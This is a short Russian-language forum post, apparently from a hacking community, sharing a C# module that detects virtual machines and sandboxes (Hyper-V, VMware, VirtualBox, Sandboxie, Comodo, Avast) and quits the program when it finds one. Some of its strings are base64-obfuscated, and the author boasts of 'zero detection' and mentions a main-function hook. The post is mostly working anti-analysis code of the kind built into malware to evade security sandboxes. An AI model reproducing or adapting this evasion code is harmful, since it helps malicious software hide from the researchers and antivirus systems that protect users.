нужно прописать запуск в мейне. детекта?Допка .
В мейн подрубаем так: Atrub();
Скрытое содержимое
Уже "Модули под тему поперли" а точнее заметки для себя делаю ;D мб пригодится кому.
Как подключить не буду объяснять:
VMdetect.cs
Что такое то же думайте уже сами. Да там шифрование строк в base64 из момей соседней статьи, те кто следит за моими темами смогут разобраться.
Детект простой, но нулевой детект. Некоторый код заимствован. т.е данный код детекта вм не весь мой.C#:using System; using System.Linq; using System.Management; using System.Runtime.InteropServices; using System.Text; namespace ViSt { class VMdetect { public static void Runvmdetect() { if (DetectVirtualMachine()) Quit(); } [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string running); public static string CreateASCIIStr(string value) => Encoding.ASCII.GetString(Convert.FromBase64String(value)); public static bool DetectVirtualMachine() { using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) { using (var items = searcher.Get()) { foreach (var item in items) { string manufacturer = item["Manufacturer"].ToString().ToLower(); if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || manufacturer.Contains(CreateASCIIStr("dm13YXJl")) || item["Model"].ToString() == CreateASCIIStr("VmlydHVhbEJveA==") || GetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || GetModuleHandle("SxIn.dll").ToInt32() != 0 || GetModuleHandle("SbieDll.dll").ToInt32() != 0 || GetModuleHandle("Sf2.dll").ToInt32() != 0 || GetModuleHandle("snxhk.dll").ToInt32() != 0) { return true; } var hypervisorPresentProperty = item.Properties .OfType<PropertyData>() .FirstOrDefault(p => p.Name == "HypervisorPresent"); if ((bool?)hypervisorPresentProperty?.Value == true) { return true; } } } } return false; } public static void Quit() { Environment.Exit(0); } } }